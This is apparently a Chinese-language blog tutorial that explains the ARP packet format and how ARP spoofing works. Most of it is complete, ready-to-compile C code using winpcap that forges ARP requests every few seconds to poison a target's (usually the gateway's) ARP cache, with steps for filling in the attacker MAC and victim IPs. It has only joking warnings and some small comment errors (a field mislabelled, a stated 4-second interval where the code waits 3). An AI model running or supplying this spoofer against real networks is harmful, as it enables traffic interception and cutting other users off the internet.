发送自定义ARP请求:winpcap库

在Windows下使用winpcap库可以发送和获取完整的链路层帧(以太帧),实现一些底层网络操作,比如ARP查询,RARP查询、或者自定义以太帧、IP头的内容。本例使用winpcap手动封装ARP协议,实现子网内的ARP欺骗攻击。(用它炸网请慎重,小心被警察带走)

图解ARP数据报格式

ARP协议用于在子网内查询IP对应的MAC地址。ARP数据报里有四个重要字段:

  • 源MAC地址(SrcMAC)
  • 源IP地址(SrcIP)
  • 目的MAC地址(DstMAC)
  • 目的IP地址(DstIP)

另外有一些字段规定该ARP报文是查询报文还是响应报文、MAC地址的长度(6B)、协议地址的类型(通常类型为IP地址)、协议地址的长度(IPv4下为4B)。

每个主机内部维护一个ARP表,它缓存了一系列IP与MAC地址的对应关系,当主机A需要向主机B发送数据时,首先查询ARP表,ARP表中能查到该IP_B对应的MAC_B,则可以直接向MAC_B发送数据。若查不到IP_B,就需要进行一次ARP查询,ARP查询的步骤是:(说明:全0的MAC地址代表未知MAC地址,全1的MAC地址代表广播地址)

  • 请求:A令DstIP=IP_B,DstMAC=全0,SrcIP=IP_A,SrcMAC=MAC_A,然后将请求报文广播到整个子网(广播的意思是,子网内所有主机都能收到这个请求)
  • B更新ARP表:B收到ARP查询后,用地址对IP_A-MAC_A更新自己的ARP表
  • 响应:B令DstIP=IP_A,DstMAC=MAC_A,SrcIP=IP_B,SrcMAC=MAC_B,然后单播响应给A。(单播的意思是,除了A,其他主机收不到该响应)
  • A更新ARP表:B收到ARP响应后,用地址对IP_B-MAC_B更新自己的ARP表

最简单的ARP欺骗的思路是:
A只篡改查询报文里的SrcIP=IP_C,其它字段不变,假装自己是C。然后把查询报文广播到子网,查询B的MAC地址。B收到报文后,会用地址对IP_C-MAC_A更新ARP表,也就是说B以为C是A。于是以后B发给想要发给IP_C的数据实际上都发给了A。若B是网关,造成的直接影响是C得不到Internet上的任何响应。

以下是ARP欺骗的C代码,它只能用于配置了winpcap库的Windows环境。为了突出如何发送ARP包,代码的其它部分尽量简洁,比如SrcIP,DstIP等值都是静态规定的。

测试本程序前,先用ipconfig -all看一下自己的MAC地址,用MAC地址代替程序中的SrcMAC。然后把SrcIP改成你要伪装的IP,把DstIP改成你要欺骗的IP(通常是网关路由器),最后编译运行。运行时需要选择一些网络适配器,如果不知道你上网用的哪个适配器,可以逐一尝试。

最后提醒,不要用该程序影响别人上网。

// ARPFake.c 
// Windows Only
#include "pcap.h"
#include "stdio.h"

#pragma comment(lib,"wpcap.lib")

// 你的机器(攻击者)的MAC地址,即MAC_A
#define SrcMAC { 0xDC,0x85,0xDE,0xF9,0x20,0xFB }
// 攻击者伪装成的IP地址,即IP_C
#define SrcIP  { 192,168,0,10 }
// 被攻击的IP地址,即IP_B
#define DstIP  { 192,168,0,1 }

//14B以太帧头+28B ARP报文的结构体
struct Header{
    u_char DestMAC[6];
    u_char SourMAC[6];
    u_short EthType;
//------------------以太帧头和ARP包的分界线------------------------
    u_short hdType;
    u_short proType;
    u_char hdSize;
    u_char proSize;
    u_short op;
    u_char smac[6];
    u_char sip[4];
    u_char dmac[6];
    u_char dip[4];
};

// 待发送的ARP数据报(注意观察是如何封装的)
struct Header head = {
    {0xff,0xff,0xff,0xff,0xff,0xff},  //目的MAC地址,为广播地址
    SrcMAC,                             //源MAC地址
    0x0608,                           //规定以太帧的上层协议是ARP
//------------------以太帧头和ARP包的分界线------------------------
    0x0100,                           //这些都是ARP协议里的其它字段
    0x0008,
    6,
    4,
    0x0100,
    SrcMAC,                             //ARP的SrcMAC字段
    SrcIP,                              //ARP的SrcIP字段
    {0,0,0,0,0,0},                    //ARP的DstMAC字段
    DstIP                               //ARP的DstMAC字段
};


int main(){
    pcap_if_t *alldevs;
    pcap_if_t *dev;
    int inum;
    int i = 0;
    pcap_t *adhandle;                //打开的网络适配器的句柄
    char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区

    // 获取本机适配器列表
    pcap_findalldevs(&alldevs, errbuf);

    // 打印适配器列表
    for (dev = alldevs; dev; dev = dev->next){
        printf("%d. %s  (%s)\n", ++i, dev->name, dev->description);
    }
    
    printf("Enter the interface index (1-%d):", i);
    scanf("%d", &inum);

    // 找到选中的适配器
    for (dev = alldevs, i = 0; i< inum - 1; dev = dev->next, i++);

    // 打开适配器
    adhandle = pcap_open_live(dev->name, 65536, 1 ,1000 , errbuf);

    // 不断地每4秒发送一次ARP请求
    for(;;){
        if (pcap_sendpacket(adhandle, (const u_char*)&head, 42) == 0){
            printf("Sended\n");
        }else{
            printf("Send Error\n");
            break;
        }
        Sleep(3000);
    }

    // 释放设备列表
    pcap_freealldevs(alldevs);
}